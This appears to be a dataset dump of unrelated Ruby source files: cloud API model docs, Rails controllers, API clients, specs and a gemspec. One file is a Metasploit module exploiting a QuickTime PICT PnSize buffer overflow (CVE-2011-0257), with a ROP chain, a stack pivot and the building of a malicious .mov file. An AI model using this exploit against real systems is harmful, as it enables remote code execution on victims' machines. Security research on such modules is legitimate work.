# created by the user, in the format: `projects/*/notes/*` (or the legacy
# `providers/*/notes/*`). This field may not be updated.
#
# An attestation by this attestor is stored as a Drydock
# ATTESTATION_AUTHORITY Occurrence that names a container image and that
# links to this Note. Drydock is an external dependency.
# @!attribute [rw] public_keys
# @return [::Array<::Google::Cloud::BinaryAuthorization::V1beta1::AttestorPublicKey>]
# Optional. Public keys that verify attestations signed by this
# attestor. This field may be updated.
#
# If this field is non-empty, one of the specified public keys must
# verify that an attestation was signed by this attestor for the
# image specified in the admission request.
#
# If this field is empty, this attestor always returns that no
# valid attestations exist.
# @!attribute [r] delegation_service_account_email
# @return [::String]
# Output only. This field will contain the service account email address
# that this Attestor will use as the principal when querying Container
# Analysis. Attestor administrators must grant this service account the
# IAM role needed to read attestations from the [note_reference][Note] in
# Container Analysis (`containeranalysis.notes.occurrences.viewer`).
#
# This email address is fixed for the lifetime of the Attestor, but callers
# should not make any other assumptions about the service account email;
# future versions may use an email based on a different naming pattern.
class UserOwnedDrydockNote
include ::Google::Protobuf::MessageExts
extend ::Google::Protobuf::MessageExts::ClassMethods
end
# A public key in the PkixPublicKey format (see
# https://tools.ietf.org/html/rfc5280#section-4.1.2.7 for details).
# Public keys of this type are typically textually encoded using the PEM
# format.
# @!attribute [rw] public_key_pem
# @return [::String]
# A PEM-encoded public key, as described in
# https://tools.ietf.org/html/rfc7468#section-13
# @!attribute [rw] signature_algorithm
# @return [::Google::Cloud::BinaryAuthorization::V1beta1::PkixPublicKey::SignatureAlgorithm]
# The signature algorithm used to verify a message against a signature using
# this key.
# These signature algorithm must match the structure and any object
# identifiers encoded in `public_key_pem` (i.e. this algorithm must match
# that of the public key).
class PkixPublicKey
include ::Google::Protobuf::MessageExts
extend ::Google::Protobuf::MessageExts::ClassMethods
# Represents a signature algorithm and other information necessary to verify
# signatures with a given public key.
# This is based primarily on the public key types supported by Tink's
# PemKeyType, which is in turn based on KMS's supported signing algorithms.
# See https://cloud.google.com/kms/docs/algorithms. In the future, BinAuthz
# might support additional public key types independently of Tink and/or KMS.
module SignatureAlgorithm
# Not specified.
SIGNATURE_ALGORITHM_UNSPECIFIED = 0
# RSASSA-PSS 2048 bit key with a SHA256 digest.
RSA_PSS_2048_SHA256 = 1
# RSASSA-PSS 3072 bit key with a SHA256 digest.
RSA_PSS_3072_SHA256 = 2
# RSASSA-PSS 4096 bit key with a SHA256 digest.
RSA_PSS_4096_SHA256 = 3
# RSASSA-PSS 4096 bit key with a SHA512 digest.
RSA_PSS_4096_SHA512 = 4
# RSASSA-PKCS1-v1_5 with a 2048 bit key and a SHA256 digest.
RSA_SIGN_PKCS1_2048_SHA256 = 5
# RSASSA-PKCS1-v1_5 with a 3072 bit key and a SHA256 digest.
RSA_SIGN_PKCS1_3072_SHA256 = 6
# RSASSA-PKCS1-v1_5 with a 4096 bit key and a SHA256 digest.
RSA_SIGN_PKCS1_4096_SHA256 = 7
# RSASSA-PKCS1-v1_5 with a 4096 bit key and a SHA512 digest.
RSA_SIGN_PKCS1_4096_SHA512 = 8
# ECDSA on the NIST P-256 curve with a SHA256 digest.
ECDSA_P256_SHA256 = 9
# ECDSA on the NIST P-384 curve with a SHA384 digest.
ECDSA_P384_SHA384 = 10
# ECDSA on the NIST P-521 curve with a SHA512 digest.
ECDSA_P521_SHA512 = 11
end
end
# An [attestor public
# key][google.cloud.binaryauthorization.v1beta1.AttestorPublicKey] that will be
# used to verify attestations signed by this attestor.
# @!attribute [rw] comment
# @return [::String]
# Optional. A descriptive comment. This field may be updated.
# @!attribute [rw] id
# @return [::String]
# The ID of this public key.
# Signatures verified by BinAuthz must include the ID of the public key that
# can be used to verify them, and that ID must match the contents of this
# field exactly.
# Additional restrictions on this field can be imposed based on which public
# key type is encapsulated. See the documentation on `public_key` cases below
# for details.
# @!attribute [rw] ascii_armored_pgp_public_key
# @return [::String]
# ASCII-armored representation of a PGP public key, as the entire output by
# the command `gpg --export --armor [email protected]` (either LF or CRLF
# line endings).
# When using this field, `id` should be left blank. The BinAuthz API
# handlers will calculate the ID and fill it in automatically. BinAuthz
# computes this ID as the OpenPGP RFC4880 V4 fingerprint, represented as
# upper-case hex. If `id` is provided by the caller, it will be
# overwritten by the API-calculated ID.
# @!attribute [rw] pkix_public_key
# @return [::Google::Cloud::BinaryAuthorization::V1beta1::PkixPublicKey]
# A raw PKIX SubjectPublicKeyInfo format public key.
#
# NOTE: `id` may be explicitly provided by the caller when using this
# type of public key, but it MUST be a valid RFC3986 URI. If `id` is left
# blank, a default one will be computed based on the digest of the DER
# encoding of the public key.
class AttestorPublicKey
include ::Google::Protobuf::MessageExts
extend ::Google::Protobuf::MessageExts::ClassMethods
end
end
end
end
end
| 49.221538 | 119 | 0.637495 |
33d07b1c10aaa74c7e4990cb44293fb810b259aa | 686 | class Admin::BaseController < ActionController::Base
render_inheritable
include Typus::Authentication::const_get(Typus.authentication.to_s.classify)
before_filter :set_models_constantized
before_filter :reload_config_and_roles
before_filter :authenticate
before_filter :set_locale
helper_method :admin_user
def user_guide
end
protected
def set_models_constantized
Typus::Configuration.models_constantized!
end
def reload_config_and_roles
Typus.reload! unless Rails.env.production?
end
def set_locale
I18n.locale = admin_user.locale if admin_user.respond_to?(:locale)
end
def zero_users
Typus.user_class.count.zero?
end
end
| 19.055556 | 78 | 0.785714 |
014c5d29706d4c9b242649e0d00da34cd9616e55 | 1,091 | module RockRMS
class Client
module Batch
def list_batches(options = {})
res = get(batches_path, options)
Response::Batch.format(res)
end
def find_batch(id)
res = get(batches_path(id))
Response::Batch.format(res)
end
def create_batch(
name:,
start_time:,
end_time:,
foreign_key: nil,
campus_id: nil,
status: 1
)
options = {
'Name' => name,
'BatchStartDateTime' => start_time,
'CampusId' => campus_id,
'BatchEndDateTime' => end_time,
'ForeignKey' => foreign_key,
'Status' => status
}
post(batches_path, options)
end
def update_batch(id, options = {})
options = options.collect { |k, v| [k.to_s, v] }.to_h
patch(batches_path(id), options)
end
def delete_batch(id)
delete(batches_path(id))
end
private
def batches_path(id = nil)
id ? "FinancialBatches/#{id}" : 'FinancialBatches'
end
end
end
end
| 21.392157 | 61 | 0.532539 |
878a95d3595103513db366fc78ffac3e80062de8 | 4,788 | require "advanced_roadmap/gruff/pie" if Object.const_defined?(:Magick)
class MilestonesController < ApplicationController
menu_item :roadmap
before_filter :find_project, :only => [:new, :create]
before_filter :find_milestone, :only => [:show, :edit, :update, :destroy]
before_filter :authorize, :except => [:show, :total_graph]
helper :custom_fields
helper :projects
helper :versions
include CustomFieldsHelper
include ProjectsHelper
def show
projects = {}
@milestone.versions.each do |version|
version.fixed_issues.each do |issue|
if !(projects.include?(issue.project.id))
projects[issue.project.id] = issue.project.id
end
end
end
Version.sort_versions(@milestone.versions)
@more_than_one_project = (projects.length > 1)
@totals = Version.calculate_totals(@milestone.versions)
@trackers = @project.trackers.sorted.all
retrieve_selected_tracker_ids(@trackers, @trackers.select {|t| t.is_in_roadmap?})
end
def new
@projects = Project.order(:name).all
@versions = @project.versions
@milestone = Milestone.new
rescue ActiveRecord::RecordNotFound
render_404
end
def create
@milestone = @project.milestones.build(params[:milestone])
@milestone.user_id = User.current.id
if request.post? and @milestone.save
if params[:versions]
params[:versions].each do |version|
milestone_version = MilestoneVersion.new
milestone_version.milestone_id = @milestone.id
milestone_version.version_id = version
milestone_version.save
end
end
flash[:notice] = l(:notice_successful_create)
redirect_to :controller => :projects, :action => :settings, :tab => "milestones", :id => @project
end
rescue ActiveRecord::RecordNotFound
render_404
end
def edit
@projects = Project.order(:name).all
@versions = @project.versions
end
def update
@projects = Project.order(:name).all
@versions = @project.versions
versions_to_delete = @milestone.versions
versions_to_add = []
if params[:versions]
params[:versions].each do |version|
index = @milestone.versions.index(version)
if index != nil
versions_to_delete.remove(index)
else
versions_to_add << version
end
end
end
if @milestone.update_attributes(params[:milestone])
versions_to_delete.each do |version|
milestone_version = MilestoneVersion.where("milestone_id = #{@milestone.id} AND version_id = #{version.id}").first
milestone_version.destroy
end
versions_to_add.each do |version|
milestone_version = MilestoneVersion.new
milestone_version.milestone_id = @milestone.id
milestone_version.version_id = version
milestone_version.save
end
flash[:notice] = l(:notice_successful_update)
redirect_to :controller => :projects, :action => :settings, :tab => "milestones", :id => @project
end
end
def destroy
@milestone.destroy
redirect_to :controller => :projects, :action => :settings, :tab => "milestones", :id => @project
rescue
flash[:error] = l(:notice_unable_delete_milestone)
redirect_to :controller => :projects, :action => :settings, :tab => "milestones", :id => @project
end
def total_graph
g = AdvancedRoadmap::Gruff::Pie.new(params[:size] || "500x400")
g.hide_title = true
g.theme = graph_theme
g.margins = 0
versions = params[:versions] || []
percentajes = params[:percentajes] || []
i = 0
while i < versions.size and i < percentajes.size
percentajes[i] = percentajes[i].to_f
g.data(versions[i], percentajes[i])
i += 1
end
headers["Content-Type"] = "image/png"
send_data(g.to_blob, :type => "image/png", :disposition => "inline")
end
private
def find_project
@project = Project.find(params[:project_id])
rescue ActiveRecord::RecordNotFound
render_404
end
def find_milestone
@milestone = Milestone.find(params[:id])
@project = @milestone.project
rescue ActiveRecord::RecordNotFound
render_404
end
def graph_theme
{
:colors => ["#DB2626", "#6A6ADB", "#64D564", "#F727F7", "#EBEB20", "#303030", "#12ABAD", "#808080", "#B7580B", "#316211"],
:marker_color => "#AAAAAA",
:background_colors => ["#FFFFFF", "#FFFFFF"]
}
end
def retrieve_selected_tracker_ids(selectable_trackers, default_trackers=nil)
if ids = params[:tracker_ids]
@selected_tracker_ids = (ids.is_a? Array) ? ids.collect { |id| id.to_i.to_s } : ids.split('/').collect { |id| id.to_i.to_s }
else
@selected_tracker_ids = (default_trackers || selectable_trackers).collect {|t| t.id.to_s }
end
end
end
| 31.294118 | 130 | 0.66604 |
ed6dd402c0941c4c8f16ee0f6f37c01beaa92b2e | 3,741 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Apple QuickTime PICT PnSize Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in Apple QuickTime Player 7.60.92.0.
When opening a .mov file containing a specially crafted PnSize value, an attacker
may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'MC', # Original Metasploit Module
'corelanc0d3r <peter.ve[at]corelan.be>', # Added DEP Bypass support
],
'References' =>
[
[ 'CVE', '2011-0257' ],
[ 'OSVDB', '74687' ],
[ 'EDB', '17777' ],
[ 'BID', '49144' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 750,
'BadChars' => "", #Memcpy
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'DisableNops' => 'True',
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
},
},
'Platform' => 'win',
'Targets' =>
[
# QuickTime.qts 7.60.92.0 # ADD ESP,4D0 # RETN
[ 'Windows XP SP3 with DEP bypass', { 'Ret' => 0x67202c75 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Aug 8 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.mov' ]),
], self.class)
end
def exploit
# !mona rop
rop =
[
0x67e21084, # POP ECX # RETN [QuickTimeMPEG4.qtx]
0x67ed30c0, # ptr to &VirtualAlloc() [IAT QuickTimeMPEG4Authoring.qtx]
0x68994002, # MOV EAX,DWORD PTR DS:[ECX] # RETN [QTOLibrary.dll]
0x6696ca36, # XCHG EAX,ESI # RETN [QuickTime.qts]
0x66c78001, # POP EBP # RETN [QuickTime.qts]
0x67eb8573, # & call esp [QuickTimeMPEG4Authoring.qtx]
0x67208003, # POP EBX # RETN [QuickTime.qts]
0x00000001, # 0x00000001-> ebx
0x6783ee02, # POP EDX # RETN [QuickTimeInternetExtras.qtx]
0x00001000, # 0x00001000-> edx
0x67e21084, # POP ECX # RETN [QuickTimeMPEG4.qtx]
0x00000040, # 0x00000040-> ecx
0x6762a008, # POP EDI # RETN [QuickTimeVR.qtx]
0x66a78005, # RETN (ROP NOP) [QuickTime.qts]
0x685a9802, # POP EAX # RETN [QuickTimeAudioSupport.qtx]
0x90909090, # nop
0x682f0001, # PUSHAD # RETN [QuickTimeH264.qtx]
].pack('V*')
stackpivot = [target.ret].pack('L')
buffer = rand_text_alpha_upper(2)
buffer << rop
buffer << payload.encoded
junk = rand_text_alpha_upper(2306 - buffer.length)
buffer << junk
buffer << stackpivot
buffer << rand_text_alpha_upper(3000)
path = File.join( Msf::Config.data_directory, "exploits", "CVE-2011-0257.mov" )
fd = File.open(path, "rb" )
sploit = fd.read(fd.stat.size)
fd.close
sploit << buffer
file_create(sploit)
end
end
__END__
http://mirrors.apple2.org.za/apple.cabi.net/Graphics/PICT.and_QT.INFO/PICT.file.format.TI.txt
Opcode Name Description Data Size (in bytes)
$0007 PnSize pen size (point) 4
| 31.70339 | 93 | 0.55707 |
615febc4cc0a9e9d17d826529a7c007f93ba14a0 | 3,971 | =begin
#Datadog API V2 Collection
#Collection of all Datadog Public endpoints.
The version of the OpenAPI document: 1.0
Contact: [email protected]
Generated by: https://github.com/DataDog/datadog-api-client-ruby/tree/master/.generator
Unless explicitly stated otherwise all files in this repository are licensed under the Apache-2.0 License.
This product includes software developed at Datadog (https://www.datadoghq.com/).
Copyright 2020-Present Datadog, Inc.
=end
require 'date'
require 'time'
module DatadogAPIClient::V2
# Object for a single metric's distinct volume.
class MetricDistinctVolume
include BaseGenericModel
# Whether the object has unparsed attributes
# @!visibility private
attr_accessor :_unparsed
# Object containing the definition of a metric's distinct volume.
attr_accessor :attributes
# The metric name for this resource.
attr_accessor :id
# The metric distinct volume type.
attr_accessor :type
# Attribute mapping from ruby-style variable name to JSON key.
# @!visibility private
def self.attribute_map
{
:'attributes' => :'attributes',
:'id' => :'id',
:'type' => :'type'
}
end
# Returns all the JSON keys this model knows about
# @!visibility private
def self.acceptable_attributes
attribute_map.values
end
# Attribute type mapping.
# @!visibility private
def self.openapi_types
{
:'attributes' => :'MetricDistinctVolumeAttributes',
:'id' => :'String',
:'type' => :'MetricDistinctVolumeType'
}
end
# List of attributes with nullable: true
# @!visibility private
def self.openapi_nullable
Set.new([
])
end
# Initializes the object
# @param attributes [Hash] Model attributes in the form of hash
# @!visibility private
def initialize(attributes = {})
if (!attributes.is_a?(Hash))
fail ArgumentError, "The input argument (attributes) must be a hash in `DatadogAPIClient::V2::MetricDistinctVolume` initialize method"
end
# check to see if the attribute exists and convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h|
if (!self.class.attribute_map.key?(k.to_sym))
fail ArgumentError, "`#{k}` is not a valid attribute in `DatadogAPIClient::V2::MetricDistinctVolume`. Please check the name to make sure it's valid. List of attributes: " + self.class.attribute_map.keys.inspect
end
h[k.to_sym] = v
}
if attributes.key?(:'attributes')
self.attributes = attributes[:'attributes']
end
if attributes.key?(:'id')
self.id = attributes[:'id']
end
if attributes.key?(:'type')
self.type = attributes[:'type']
else
self.type = 'distinct_metric_volumes'
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
# @!visibility private
def list_invalid_properties
invalid_properties = Array.new
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
# @!visibility private
def valid?
true
end
# Checks equality by comparing each attribute.
# @param o [Object] Object to be compared
# @!visibility private
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
attributes == o.attributes &&
id == o.id &&
type == o.type
end
# @see the `==` method
# @param o [Object] Object to be compared
# @!visibility private
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Integer] Hash code
# @!visibility private
def hash
[attributes, id, type].hash
end
end
end
| 27.964789 | 220 | 0.652229 |
0387a42539e15ac55002f9cff8908f58e0bfc239 | 1,313 | require 'spec_helper'
RSpec.describe Sugar, type: :lib do
subject{ Sugar }
before(:each) do
allow(Sugar).to receive(:config).and_return({
host: 'http://sugar.localhost/',
username: 'username',
password: 'password'
})
end
shared_examples_for 'a sugar request' do
let(:authorization) do
credentials = "#{ Sugar.config[:username] }:#{ Sugar.config[:password] }"
Base64.encode64(credentials).chomp
end
let!(:stubbed_request) do
stub_request(:post, "http://sugar.localhost/#{ method }")
.with body: body.to_json, headers: {
'Content-Type' => 'application/json',
'Accept' => 'application/json',
'Authorization' => "Basic #{ authorization }"
}
end
it 'should set request headers' do
Sugar.send method, object
expect(stubbed_request).to have_been_requested.once
end
end
describe '.notify' do
it_behaves_like 'a sugar request' do
let(:method){ :notify }
let(:object){ create :notification }
let(:body){ { notifications: [object] } }
end
end
describe '.announce' do
it_behaves_like 'a sugar request' do
let(:method){ :announce }
let(:object){ create :announcement }
let(:body){ { announcements: [object] } }
end
end
end
| 25.745098 | 79 | 0.616146 |
f7bf283ba397ab6d2b1bc87e2f29992b07e5cea6 | 1,276 | module Ruboty
module Todoist
module Resorces
class Item < Base
property :due_date
property :day_order
property :assigned_by_uid
property :due_date_utc
property :is_archived
property :labels
property :sync_id
property :in_history
property :date_added
property :checked
property :date_lang
property :id
property :content
property :indent
property :user_id
property :is_deleted
property :priority
property :item_order
property :responsible_uid
property :project_id
property :collapsed
property :date_string
def due_today?
return false if self.due_date.blank?
due_date = Time.strptime(self.due_date, "%a %d %b %Y %T")
now = Time.now
return true if due_date.between?(now.beginning_of_day, now.tomorrow.beginning_of_day)
false
end
def self.fetch
items = resorce_all[:Items]
return [] if items.blank?
items.map { |_| Ruboty::Todoist::Resorces::Item.new(_) }
end
def self.fetch_with_filter
fetch.select { |_| yield(_) }
end
end
end
end
end
| 24.538462 | 95 | 0.584639 |
33eb654511663390e1a094306d1850c8b68c22a6 | 77 | class Sponsor < ActiveRecord::Base
mount_uploader :file, ImageUploader
end
| 19.25 | 37 | 0.805195 |
1a92acb40ff8e1a031cc6c09e0c729513ba88f29 | 578 | require "test_helper"
class UsersProfileTest < ActionDispatch::IntegrationTest
include ApplicationHelper
def setup
@user = users(:michael)
end
test "profile display" do
get user_path(@user)
assert_template 'users/show'
assert_select 'title', full_title(@user.name)
assert_select 'h1', text: @user.name
assert_select 'h1>img.gravatar'
assert_match @user.microposts.count.to_s, response.body
assert_select 'div.pagination', count: 1
@user.microposts.paginate(page: 1).each do |micropost|
assert_match micropost.content, response.body
end
end
end
| 24.083333 | 57 | 0.757785 |
876806ec9c4d70de52f434d4c82b30de03136b71 | 1,770 | require "./lib/rackspace/version"
require 'rackspace-ruby-sdk-core'
require 'pry'
SERVICE_NAME_MAP = {
'auto_scale' => 'autoscale',
'backup' => 'cloudBackup',
'big_datum' => 'cloudBigData',
'block_storage' => 'cloudBlockStorage',
'cdn' => 'cloudFilesCDN',
'compute' => 'cloudServersOpenStack',
'database' => 'cloudDatabases',
'dns' => 'cloudDNS',
'feed' => 'cloudFeeds',
'image' => 'cloudImages',
# 'keep' => 'cloudKeep',
'load_balancer' => 'cloudLoadBalancers',
'metrics' => 'cloudMetrics',
'monitoring' => 'cloudMonitoring',
'networking' => 'cloudNetworks',
'orchestration' => 'cloudOrchestration',
'queue' => 'cloudQueues',
'storage' => 'cloudFiles'
}
SERVICE_KLASSES = {
'auto_scale' => 'Rackspace::AutoScale',
'backup' => 'Rackspace::Backup',
'big_data' => 'Rackspace::BigDatum',
'block_storage' => 'Rackspace::BlockStorage',
'cdn' => 'Rackspace::CDN',
'compute' => 'Rackspace::Compute',
'database' => 'Rackspace::Database',
'dns' => 'Rackspace::DNS',
'feeds' => 'Rackspace::Feed',
'image' => 'Rackspace::Image',
# 'keep' => 'Rackspace::Keep',
'load_balancer' => 'Rackspace::LoadBalancer',
'metrics' => 'Rackspace::Metrics',
'monitoring' => 'Rackspace::Monitoring',
'networking' => 'Rackspace::Networking',
'orchestration' => 'Rackspace::Orchestration',
'queue' => 'Rackspace::Queue',
'storage' => 'Rackspace::Storage'
}
Dir[File.expand_path "lib/rackspace/services/**/base.rb"].each{ |f| require_relative f }
Dir[File.expand_path "lib/rackspace/services/**/*.rb"].each{ |f| require_relative f }
| 36.122449 | 88 | 0.577966 |
d5a32c1f5b8e4622cfd5f97b51979e6335234ace | 1,288 | # -*- encoding: utf-8 -*-
# stub: jekyll-theme-tactile 0.1.0 ruby lib
Gem::Specification.new do |s|
s.name = "jekyll-theme-tactile".freeze
s.version = "0.1.0"
s.required_rubygems_version = Gem::Requirement.new(">= 0".freeze) if s.respond_to? :required_rubygems_version=
s.require_paths = ["lib".freeze]
s.authors = ["Jason Long".freeze, "GitHub, Inc.".freeze]
s.date = "2017-08-14"
s.email = ["[email protected]".freeze]
s.homepage = "https://github.com/pages-themes/tactile".freeze
s.licenses = ["CC0-1.0".freeze]
s.rubygems_version = "2.6.13".freeze
s.summary = "Tactile is a Jekyll theme for GitHub Pages".freeze
s.installed_by_version = "2.6.13" if s.respond_to? :installed_by_version
if s.respond_to? :specification_version then
s.specification_version = 4
if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then
s.add_runtime_dependency(%q<jekyll>.freeze, ["~> 3.5"])
s.add_runtime_dependency(%q<jekyll-seo-tag>.freeze, ["~> 2.0"])
else
s.add_dependency(%q<jekyll>.freeze, ["~> 3.5"])
s.add_dependency(%q<jekyll-seo-tag>.freeze, ["~> 2.0"])
end
else
s.add_dependency(%q<jekyll>.freeze, ["~> 3.5"])
s.add_dependency(%q<jekyll-seo-tag>.freeze, ["~> 2.0"])
end
end
| 36.8 | 112 | 0.66382 |
38227cba9f080cdf890657826beccb803fced36b | 354 | module Fastlane
module Helper
class UploadSymbolsToNewRelicHelper
# class methods that you define here become available in your action
# as `Helper::UploadSymbolsToNewRelicHelper.your_method`
#
def self.show_message
UI.message("Hello from the upload_symbols_to_new_relic plugin helper!")
end
end
end
end
| 27.230769 | 79 | 0.720339 |
1c49305e818c672b996e9bab2a5d08fb243ce0ac | 465 | class Rss::Page
include Cms::Model::Page
include Cms::Page::SequencedFilename
include Rss::Addon::Page::Body
include Category::Addon::Category
include Cms::Addon::Release
include Cms::Addon::GroupPermission
include History::Addon::Backup
set_permission_name "article_pages"
store_in_repl_master
default_scope ->{ where(route: "rss/page") }
skip_callback(:destroy, :before, :create_history_trash)
self.default_released_type = "fixed"
end
| 24.473684 | 57 | 0.754839 |
d5f3cf7e57fd4557f4e9f907cc54bfaa144b0a02 | 1,514 | require_relative '../../../search_test'
require_relative '../../../generator/group_metadata'
module USCoreTestKit
module USCoreV400
class CarePlanPatientCategoryStatusSearchTest < Inferno::Test
include USCoreTestKit::SearchTest
title 'Server returns valid results for CarePlan search by patient + category + status'
description %(
A server SHOULD support searching by
patient + category + status on the CarePlan resource. This test
will pass if resources are returned and match the search criteria. If
none are returned, the test is skipped.
[US Core Server CapabilityStatement](http://hl7.org/fhir/us/core/STU4/CapabilityStatement-us-core-server.html)
)
id :us_core_v400_care_plan_patient_category_status_search_test
optional
input :patient_ids,
title: 'Patient IDs',
description: 'Comma separated list of patient IDs that in sum contain all MUST SUPPORT elements'
def self.properties
@properties ||= SearchTestProperties.new(
resource_type: 'CarePlan',
search_param_names: ['patient', 'category', 'status'],
token_search_params: ['category'],
multiple_or_search_params: ['status']
)
end
def self.metadata
@metadata ||= Generator::GroupMetadata.new(YAML.load_file(File.join(__dir__, 'metadata.yml')))
end
def scratch_resources
scratch[:care_plan_resources] ||= {}
end
run do
run_search_test
end
end
end
end
| 30.28 | 110 | 0.690885 |
91beade096d8c66133a781cd9885449316d371c7 | 251 | class CreateSentences < ActiveRecord::Migration
def change
create_table :sentences do |t|
t.string :content
t.string :author
t.references :story, index: true, foreign_key: true
t.timestamps null: false
end
end
end
| 20.916667 | 57 | 0.677291 |
288941e169b5bff797a20be9f25684d814bef837 | 10,183 | # Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::ResourcesManagement::Mgmt::V2018_01_01_preview
#
# A service client - single point of access to the REST API.
#
class ManagementGroupsAPI < MsRestAzure::AzureServiceClient
include MsRestAzure
include MsRestAzure::Serialization
# @return [String] the base URI of the service.
attr_accessor :base_url
# @return Credentials needed for the client to connect to Azure.
attr_reader :credentials
# @return [String] Version of the API to be used with the client request.
# The current version is 2018-01-01-preview.
attr_reader :api_version
# @return [CreateManagementGroupRequest] Management group creation
# parameters.
attr_accessor :create_management_group_request
# @return [PatchManagementGroupRequest] Management group patch parameters.
attr_accessor :patch_group_request
# @return [Enum] The id of the operation result. Possible values include:
# 'create', 'delete'
attr_accessor :operation_result_id
# @return [CheckNameAvailabilityRequest] Management group name availability
# check parameters.
attr_accessor :check_name_availability_request
# @return [String] Page continuation token is only used if a previous
# operation returned a partial result.
# If a previous response contains a nextLink element, the value of the
# nextLink element will include a token parameter that specifies a starting
# point to use for subsequent calls.
#
attr_accessor :skiptoken
# @return [String] The preferred language for the response.
attr_accessor :accept_language
# @return [Integer] The retry timeout in seconds for Long Running
# Operations. Default value is 30.
attr_accessor :long_running_operation_retry_timeout
# @return [Boolean] Whether a unique x-ms-client-request-id should be
# generated. When set to true a unique x-ms-client-request-id value is
# generated and included in each request. Default is true.
attr_accessor :generate_client_request_id
# @return [ManagementGroups] management_groups
attr_reader :management_groups
# @return [ManagementGroupSubscriptions] management_group_subscriptions
attr_reader :management_group_subscriptions
# @return [Operations] operations
attr_reader :operations
# @return [Entities] entities
attr_reader :entities
#
# Creates initializes a new instance of the ManagementGroupsAPI class.
# @param credentials [MsRest::ServiceClientCredentials] credentials to authorize HTTP requests made by the service client.
# @param base_url [String] the base URI of the service.
# @param options [Array] filters to be applied to the HTTP requests.
#
def initialize(credentials = nil, base_url = nil, options = nil)
super(credentials, options)
@base_url = base_url || 'https://management.azure.com'
fail ArgumentError, 'invalid type of credentials input parameter' unless credentials.is_a?(MsRest::ServiceClientCredentials) unless credentials.nil?
@credentials = credentials
@management_groups = ManagementGroups.new(self)
@management_group_subscriptions = ManagementGroupSubscriptions.new(self)
@operations = Operations.new(self)
@entities = Entities.new(self)
@api_version = '2018-01-01-preview'
@accept_language = 'en-US'
@long_running_operation_retry_timeout = 30
@generate_client_request_id = true
add_telemetry
end
#
# Makes a request and returns the body of the response.
# @param method [Symbol] with any of the following values :get, :put, :post, :patch, :delete.
# @param path [String] the path, relative to {base_url}.
# @param options [Hash{String=>String}] specifying any request options like :body.
# @return [Hash{String=>String}] containing the body of the response.
# Example:
#
# request_content = "{'location':'westus','tags':{'tag1':'val1','tag2':'val2'}}"
# path = "/path"
# options = {
# body: request_content,
# query_params: {'api-version' => '2016-02-01'}
# }
# result = @client.make_request(:put, path, options)
#
def make_request(method, path, options = {})
result = make_request_with_http_info(method, path, options)
result.body unless result.nil?
end
#
# Makes a request and returns the operation response.
# @param method [Symbol] with any of the following values :get, :put, :post, :patch, :delete.
# @param path [String] the path, relative to {base_url}.
# @param options [Hash{String=>String}] specifying any request options like :body.
# @return [MsRestAzure::AzureOperationResponse] Operation response containing the request, response and status.
#
def make_request_with_http_info(method, path, options = {})
result = make_request_async(method, path, options).value!
result.body = result.response.body.to_s.empty? ? nil : JSON.load(result.response.body)
result
end
#
# Makes a request asynchronously.
# @param method [Symbol] with any of the following values :get, :put, :post, :patch, :delete.
# @param path [String] the path, relative to {base_url}.
# @param options [Hash{String=>String}] specifying any request options like :body.
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def make_request_async(method, path, options = {})
fail ArgumentError, 'method is nil' if method.nil?
fail ArgumentError, 'path is nil' if path.nil?
request_url = options[:base_url] || @base_url
if(!options[:headers].nil? && !options[:headers]['Content-Type'].nil?)
@request_headers['Content-Type'] = options[:headers]['Content-Type']
end
request_headers = @request_headers
request_headers.merge!({'accept-language' => @accept_language}) unless @accept_language.nil?
options.merge!({headers: request_headers.merge(options[:headers] || {})})
options.merge!({credentials: @credentials}) unless @credentials.nil?
super(request_url, method, path, options)
end
#
# Checks if the specified management group name is valid and unique
#
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [CheckNameAvailabilityResult] operation results.
#
def check_name_availability(custom_headers:nil)
response = check_name_availability_async(custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# Checks if the specified management group name is valid and unique
#
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def check_name_availability_with_http_info(custom_headers:nil)
check_name_availability_async(custom_headers:custom_headers).value!
end
#
# Checks if the specified management group name is valid and unique
#
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def check_name_availability_async(custom_headers:nil)
fail ArgumentError, 'api_version is nil' if api_version.nil?
fail ArgumentError, 'check_name_availability_request is nil' if check_name_availability_request.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = accept_language unless accept_language.nil?
# Serialize Request
request_mapper = Azure::ResourcesManagement::Mgmt::V2018_01_01_preview::Models::CheckNameAvailabilityRequest.mapper()
request_content = self.serialize(request_mapper, check_name_availability_request)
request_content = request_content != nil ? JSON.generate(request_content, quirks_mode: true) : nil
path_template = 'providers/Microsoft.Management/checkNameAvailability'
request_url = @base_url || self.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
query_params: {'api-version' => api_version},
body: request_content,
headers: request_headers.merge(custom_headers || {}),
